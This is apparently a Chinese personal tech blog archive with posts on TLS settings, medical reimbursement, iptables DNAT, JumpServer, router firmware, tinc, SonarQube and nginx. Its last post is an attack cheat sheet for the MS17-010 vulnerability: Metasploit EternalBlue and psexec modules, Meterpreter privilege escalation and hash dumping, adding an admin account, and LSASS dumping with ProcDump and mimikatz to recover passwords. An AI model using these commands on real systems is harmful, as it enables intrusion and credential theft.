2023年1月28日星期六

TLS 最佳实践

 1. 协议版本的选择

   SSL 已经淡出互联网的舞台

   TLS 1.0 ,1.1 也是如此

   TLS 1.2 ,1.3 是目前 HTTPS 建立链接的主流协议

   为什么 1.2 还要提供呢, TLS 1.2 是 2008 年推出的,不支持的话,会有很多老旧设备不能访问,所以为了兼容。

   1.3 的加密套件由于TLS 1.3 只接受使用 ECDHE 算法进行密钥交换(并不会在 Cipher Suite 中体现),并且使用ECDSA 进行身份认证,全部支持了 PFS,所以 1.3 目前非常的安全。如果不是用密钥交换的话,就只能用 PSK 。

    


 2. 证书方面的选择

也许你可能只知道 RSA 签名的证书,但是那是老的方式了,现在已经出现 ECC 证书,而且效率各方面都比 RSA 更好,比如支持 PFS (FS) 其实它俩的是一个意思。

 那介绍完 ECC 之后,重点来了,  在 TLS 1.2 中会出现下面的两种情况:

   - 服务端配置 ECC 证书后,就可以支持 ECDHE 密钥交换算法

   - 服务端配置 RSA 证书后,可以同时支持 RSA 跟 ECDHE 的算法

 所以证书方面的配置最好能提供两个证书的支持,提供最大程度的兼容。

 支持 ECC 证书的话,还有一个好处,SSLLABS 可以拿到 A 以上的评分

 Tips:TLS 1.3 的证书没有要求, 也就是说 RSA 证书 或者 ECC 证书都可以


3. ECC 相关的算法

以下算法需要服务端提供 ECC 证书,才可以支持

ECDH   

ECC(椭圆曲线)的 DH(Diffie-Hellman)算法,计算速度快,不支持 PFS

ECDHE

       跟 RSA 一样也是一种密钥交换算法,比 ECDH 多个 E,支持了 PFS

ECDSA

      一种非对称加密算法,用于数字签名,ECC 证书上面附的签名就是 ECDSA 公钥,同理,

      RSA 证书上面附的签名就是 RSA 公钥。


由于 256 位 ECC Key 在安全性上等同于 3072 位 RSA Key,加上 ECC 运算速度更快,ECDHE 密钥交换 + ECDSA 数字签名无疑是最好的选择。


所以就有三种主流的方法:

  • - RSA 密钥交换(无需签名);
  • - ECDHE 密钥交换、RSA 签名;
  • - ECDHE 密钥交换、ECDSA 签名;


4. 加密套件的顺序跟 TLS 版本的关系

    TLS 1.3 的加密套件放在最上面 (Chome dev tools - Security 可以查看当前的 tls 版本)

    TLS 1.2 的放在下面


5. nginx 的 TLS 配置

https://ho600.readthedocs.io/zh_TW/master/technology_sharing/how_to_get_a_plus_rating_on_ssllabs_com.html


参考链接:

https://blog.csdn.net/mrpre/article/details/77868633

https://cloud.tencent.com/developer/article/1420663

https://mdnice.com/writing/138185b5b5a1428bb59022a33082d68f

https://www.idczone.net/news/2708.html/

https://blog.csdn.net/mrpre/article/details/78025940



2021年12月1日星期三

异地就医费用报销 -- 指南

 广东省政务服务网
(给广东从业者,哈哈哈,希望你不会用到)

1. 先登录

2. 搜索“门诊费用报销” --  本市级“在线办理” -- “选择要报销的地方”


市外就医的住院/门诊医疗费用报销须知

  • 1、此功能不包括生育医疗费用审核报销申请。
  • 2、门诊费用报销与住院费用报销请分别申请。
  • 3、多次门诊费用可以一次性申请,请将需申请报销的多张门诊收据/发票按时间先后排序,将时间最早的门诊收据/发票日期录入“费用起始日期”,将时间最晚的门诊收据/发票日期录入“费用终止日期”。
  • 4、多次住院费用需按单次住院信息分别申请。请将单次住院的入院时间录入“费用起始日期”,将单次住院的出院时间录入“费用终止日期”。
  • 5、通过此平台申请报销业务,只视为预申请,具体办理情况以经办机构受理为准。预审核结果将通过短信告知,请根据短信内容进行下一步办理。预审核通过,请您在7个工作日内联系快递上门收件办理,或在7个工作日内携带资料至窗口办理,我中心在正式受理后将继续为您办理后续业务,否则您将被视为自愿放弃本次预申请;预审核不通过,将对您的预申请做退件处理。
  • 6、参保人应在费用发生或出院之日起十二个月内申请报销,逾期不予报销。申请时间以窗口提交资料时间为准。根据疫情防控的需要,我局延长医疗费用现金报销业务的申请时限,在2019年产生医疗费用的参保人,可持票据等资料在疫情结束后的1年内申请报销。
  • 7、市外住院起付线已按规定办理转诊或备案的为400元,未按规定办理转诊或备案的为1000元。未达起付线标准的住院费用,仅能按报销标准报销床位费。
  • 8、本功能仅限申请本人医疗费用预审核,为他人代办时需用该参保人的个人网页登录并进行申请。
  • 9、参保人应当凭医疗费用的原始凭证申请报销,市医疗保险机构对已报销的凭证不予审核报销。
  • 10、申报人提交的材料必须真实、合法、有效。如经查实有隐瞒、欺骗或提供虚假材料的,将依照相关法律法规追究责任。

2021年8月31日星期二

跨网段 DNAT

 


PC的网关地址与做DNAT的路由器是不一样的.

这样的话需要先在 nat prerouting 做 DNAT

再 nat postrouting 做 SNAT

iptables -t nat -A PREROUTING -i pppoe-wan -p tcp --dport 23389 -j DNAT --to-destination 192.168.199.168:3389

iptables -t nat -A POSTROUTING -s 0.0.0.0/0 -d 192.168.199.0/24 -o tincl01 -j SNAT --to 10.88.1.2

2021年8月19日星期四

pycharm preferences 没有project setting

 这种神奇的情况,我是先退出pycharm,然后 remove recent prject, 再重新open,就解决了。

2020年9月21日星期一

jumper server 解决 administratively prohibited (open failed)

有时候连接ssh会报错误:

复用SSH连接(root@测试机(172.16.1.116))[连接数量: 11]
Connect asset 测试机(172.16.1.116) error: ssh: rejected: administratively prohibited (open failed)

解决这个问题的方法是,关闭koko的连接复用功能  github discuss

具体方法:

docker exec -it jms_koko bash

vi koko/config.yml 

# 是否复用和用户后端资产已建立的连接(用户不会复用其他用户的连接)

REUSE_CONNECTION: false

保存退出,重启 jms_koko

docker stop jms_koko && docker start jms_koko



2020年9月2日星期三

R7000 刷 freshtomato 网速提升问题

 R7000 刷 freshtomato 网速问题

 之前刷 2020.2 版本,iPhone7 ,iPhone 11,speedtest测试只能达到300Mbps,这个与802.11ac支持的网速可是差远了。

后来出了2020.3  , 2020.4, 2020.5的版本,更新了wifi的驱动。(注意升级版本的时候,要选择after flashing,erase all NVRAM data)升级到2020.5后,还是那样的网速。

最后发现是  Advanced > Miscellaneous and turning on CTF or FastNAT on FreshTomato. 这个设置,没有开启。

开启CTF后就跑到家里电信宽带的极限了,我拉的是电信500m的下行带宽,speedtest可以跑到560mbps。

看着家里的宽带跑满很舒服😀😀👽

2020年3月26日星期四

在jenkins限制有漏洞的应用程序发布

1. java 会用到 pom.xml文件去寻找依赖包
2. pom.xml会有版本信息
3. 检查fastjson 是不是 > 1.2.67版

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.58</version>
        </dependency>
    </dependencies>

4. 是, 就构建通过
5. 不是,就构建失败

2020年3月3日星期二

windows挂载NFS

https://code.google.com/archive/p/nekodrive/downloads
https://qastack.cn/server/190020/are-there-any-free-nfs-clients-for-windows-7
https://github.com/Xu-Jian/VPS/blob/master/%E2%97%BC%EF%B8%8E7-Virtual/NFS

https://sourceforge.net/projects/nfsclient/

2020年2月15日星期六

tinc 1.1 不显示加密的原因

使用的版本 tinc 1.1pre17

使用tinc -n cnet dump nodes查看节点信息:
home_router id 2084bcb0b000 at MYSELF port 10991 cipher 0 digest 0 maclength 0 compression 0 options 700000c status 0858 nexthop home_router via home_router distance 0 pmtu 1518 (min 0 max 1518) 
lf_router id 30342f04c000 at 119.134.224.000 port 655 cipher 0 digest 0 maclength 0 compression 10 options 700000c status 08da nexthop lf_router via lf_router distance 1 pmtu 1518 (min 18 max 1518) 
mac_book id d040aab7b000 at unknown port unknown cipher 0 digest 0 maclength 0 compression 0 options 0 status 0020 nexthop - via - distance -1 pmtu 1518 (min 0 max 1518) 
mac_osx id 7971e2cd8000 at 116.26.206.000 port 4439 cipher 0 digest 0 maclength 0 compression 10 options 700000c status 00da nexthop mac_osx via mac_osx distance 1 pmtu 1431 (min 1431 max 1431) 
mac_vmxp id 9609763fb000 at unknown port unknown cipher 0 digest 0 maclength 0 compression 0 options 0 status 0020 nexthop - via - distance -1 pmtu 1518 (min 0 max 1518) 
work_pc id 8868d2cdf000 at 183.15.181.000 port 25 cipher 0 digest 0 maclength 0 compression 0 options 700000c status 00da nexthop work_pc via work_pc distance 1 pmtu 1431 (min 1431 max 1431) 

其中的一段,可以看到cipher 0 ,digest 0
cipher 0 digest 0 maclength 0 compression 0

起初以为是,没有开启加密。
经过后面查看文档后才知道,1.1版本的默认使用 SPTPS协议。
SPTPS协议使用AES-256-CTR、HMAC-SHA-256。
在host文件配置Cipher、Digest选项是无效的。
这两个选项在1.0版本才可以用。

而控制SPTPS协议的配置项是ExperimentalProtocol。
默认ExperimentalProtocol = yes,是启用的。
(这里我尝试过设置为NO,会使用17的协议,即旧的1.0版协议。但是不能正常工作了)

查看是否p2p直连
tinc -n cnet dump graph
- green 表示直连
- black 直连跟中转都可以,但是直连还未尝试
- orange 不可以直达
- red 网络不通

官方的配置文档:
1. tinc 1.1pre版的tinc.conf配置文档
2. tinc 1.1pre版本的host配置文档
3. tinc 配置案例参考







2020年2月6日星期四

文明的原始

                                                             消耗纪元
       在宇宙中,世界中,无限的是空间,有限的是水,树木。但是原始的人类却让水,树木成为了廉价物品,其实说消耗纪元的人类是活在“二维空间的”,因为立体层面空间的开发利用实在太少。
       人类还有充裕资源可以继续前进将近半个世纪,这阶段人类趋向于如何快乐的生活,到处旅游,吃,玩游戏,下班看电视煲剧,一切都显得那么松散。可是这里所说的松散并不是他们当时的状态,他们觉得压力很大,那是因为当时大部分经济掌握在小部分的富人手里,世界在发展,世界需要强大,需要迫使人们去劳动产生更多价值,来帮助世界经济的发展,基础设施的完善,没有多少人真正担心资源会消耗殆尽的时候到来,人们赚到钱开始做他们觉得幸福快乐的事情。
       然而一些出生于来就杞人忧天的孩子,长大开始担心地球各种未来,他们从小就精通各种科学技术,对于宇宙的探索一直抱有热烈的情怀。

极限纪元
星际纪元
探索纪元
神级纪元

探索永无止尽,站在道德的制高点为宇宙做贡献   

sonarqube web service API 调用方法

本文测试版本 sonarqube Community 7.7,使用这个版本的原因是还支持mysql,7.8之后就不在支持mysql数据库。

API调用文档:
1. 通过sonar服务端直接进行查看,通过 http://{sonar-url}/web_api/api/ 查看
2. 可以获取的metric,参考官方文档,注意选择对应版本
3. 查看所有项目  api/components/search?qualifiers=TRK
4. 使用接口 api/measures/component 需要注意url加上单引号围起来

使用curl去获取数据测试的时候,如果发生报错"msg":"The 'metricKeys' parameter is missing",说明没有把curl后面的请求链接用单引号围起来。

2020年1月19日星期日

R7000刷koolshare梅林简直就是垃圾

1. 丢包。40000ping 丢20
2. 断流。盒子连接NAS看电视剧,跟一段时间断流一分钟
3. 延迟大,40000ping 延迟大有500. 别想打游戏了
4. dnspod配置动态dns,不生效,原因插件没更新,wget版本太老
5. NTP时间不同步
6. crontab 配置麻烦,不能直接crontab -e保存,重启丢失,需要用clu加init-script
7. netdata安装经常报内存不足,无法分配内存
8. 没有zerotier插件,自己安装过程各种问题。
9. entware软件包安装竟然要用外部U盘。。。你是来搞笑吗??(可以用虚拟磁盘解决)
10. dns经常出问题,导致连接的终端不能上网

综上所述,R7000的改版梅林系统就是个垃圾。不值得

2020年1月8日星期三

个人NAS组建

矿难捡垃圾
1. 星际魔盒,imWallet 出品
2. 我家云
3. 玩客云
4. 贝壳云
5. 蜗牛星际
6. 私家云


参考链接:
1. 捡垃圾:50元包邮的我家云怎么样?
2. 星际魔盒使用手记
3. 淘宝店家二手nas配件
4. 矿难nas列表

2019年6月17日星期一

LDAP与单点登录

单点登录 (英语:Single sign-on,缩写为 SSO)是一种多系统共用一个账号的解决方案。这项功能通常是以轻型目录访问协议(LDAP)来实现。当然,SSO的实现方式有很多种,Oauth2.0。
           a. 访问业务网站,重定向到SSO站点,登录主域
           b. 访问其他业务站点,不再需要登录操作
           c. 一次登录,多站直访

SUL 单用户登录,SDL 单设备登录
          a. 任何设备,无论操作系统,只能同时在一个设备上登录
          b. 对与PC来说,只能同时在一个浏览器上登录
          c. 其他设备登录会把已登录设备挤下线
          d. 像微信等,第一次在其他设备登录,需要原设备进行确认



参考链接:
1. LDAP服务器的概念和原理简单介绍
2. 使用包ldap3进行Python的LDAP操作
3. Python 操作LDAP实现用户统一认证密码修改功能
4. python-ldap修改AD域用户密码(CA+SSL)
5. Python操作LDAP
6. LDAP3 修改的操作-- 官方文档
7. 单点登录(SSO)的设计&实现思路

2019年4月11日星期四

NEM_网络设备管理工具

NEM [Network Equipment Manage] 使用指南

cisco、huawei、h3c网络设备管理,类似ansible的用法,支持多线程下发命令,附带其他应用脚本
目前只支持SSH的方式,不支持Telnet, 以后也不会支持telnet,因为不安全

欢迎star,fork,提问

2019年1月17日星期四

python使用selenium在chrome上进行截图拼接(长截图|全屏截图)

我是拿来主义的人,在google找了很久关于长截图的代码,中文博客写的代码,基本上没有可以用的,后来发现Stack Overflow上有一篇文章,找到了相关代码,很简洁,很好用。


参考链接:
1.Take screenshot of full page with Selenium Python with chromedriver

2018年12月26日星期三

与产品沟通安全设计

在账户安全的问题上,绝不能因为所谓的操作流畅性就降低安全标准。尤其是对于账户安全要求很高的产品,宁可让用户多做几步验证,最大程度地确保验证的准确性。
在交互上,用户会存在操作负担与认知负担,减少认知负担的优先级理应高于减少操作负担。如果因为减少操作负担,造成了账户安全问题,极大地增加了用户的认知负担,是非常得不偿失的行为。

2018年12月6日星期四

博客搬家

通过宝塔提供的工具【计划任务】进行备份
1. 站点目录备份一遍,文件权限属性保持不变
2. 数据库备份一遍

恢复站点
1. 站点目录创建后,把备份的压缩文件解压到站点目录
2. 利用宝塔提供的数据库恢复工具

3. 去站点目录找出wp-config.php,看看数据库的配置
4. 对比,数据库名称,用户名,密码。

2018年12月5日星期三

nginx端口重定向,主域名跳转www,配置

端口重定向 80 --> 9800
ss.abc.com   -->  ss.abc.com:9800

server
{
    listen 80;
    server_name ss.abc.com;
 
    location / {
    proxy_pass http://ss.abc.com:9800;
    proxy_set_header Host $host:80;
    proxy_set_header X-Real-IP $remote_addr;
    proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    proxy_set_header Via "nginx";
    }
}


宝塔创建一个abc.com的站点,

一级域名跳转到www二级域名

  1. #只是一级域名“abc.com” 跳转到www.abc.com去。
server {
           listen 80;
           server_name abc.com;

           if ($http_host ~ "^ilovegt.com$") {
                     rewrite ^(.*) http://www.ilovegt.com$1 permanent;
            }
}

2018年11月8日星期四

针对MS17-010漏洞攻击之Metasploit

0x01 hash密码导出,并且破解方法
If LM hashes are enabled on your system (Win XP and lower), a hash dump will look like:
Administrator:500:01FC5A6BE7BC6929AAD3B435B51404EE:0CB6948805F797BF2A82807973B89537:::

If LM hashes are disabled on your system (Win Vista, 7, 8+), a hash dump will look like:
Administrator:500:NO PASSWORD*********************:0CB6948805F797BF2A82807973B89537:::
每个字段的含义:          用户名:唯一安全ID:LM_HASH :NTLM_HASH
这串值就是LM_HASH,通过google “lm hash crack” 尝试破解
01FC5A6BE7BC6929AAD3B435B51404EE

0x02 Meterpreter 命令行工具
通过google搜索  “Metasploit工具Meterpreter的命令速查表”对反弹shell进行利用
其中比较常用的命令:
getuid                                        查看当前用户
getsystem                                  获取系统权限
shell                                           打开shell或者cmd
run hashdump                           把sam数据库dump



0x03 常用payload
 use windows/meterpreter/reverse_tcp
 use auxiliary/scanner/smb/pipe_auditor

ms17-010 payload:
       use exploit/windows/smb/ms17_010_eternalblue
       use exploit/windows/smb/ms17_010_psexec

0x04 ms17-010漏洞利用
     使用metasploit(MSF)对windows的ms17-010漏洞进行利用的过程
     MSF下ms17_010_psexec模块使用技巧
     Meterpreter提权详解



0x05 windows修改用户密码技巧
因为中文的windwos系统,在Meterpreter 会显示乱码,在进行net user操作出现报错

比如 NET HELPMSG 2245  表示密码长度不够规格,不够复杂
比如 NET HELPMSG 3783  表示没有这个组或者用户
net user administrator abc123      //修改administrator的密码
net user test v5est0r /add                    //增加新用户
net localgroup administrators test /add       //并且加入管理员组
0x06 获取system权限,对管理员密码获取
利用Meterpreter upload 上传 ProcDump 对系统的LSASS进程内存文件导出,命令如下
Procdump.exe -accepteula -ma lsass.exe lsass.dmp
导出后,利用Meterpreter download 将 lsass.dmp 文件下载到本地
最后运行mimikatz,进行破解
mimikatz # sekurlsa::minidump lsass.dmp
mimikatz # sekurlsa::logonPasswords full

Meterpreter 加载mimikatz直接进行破解

load mimikatz
help mimikatz
mimikatz_command -f privilege::debug
mimikatz_command -f privilege::security
mimikatz_command -f sekurlsa::logonPasswords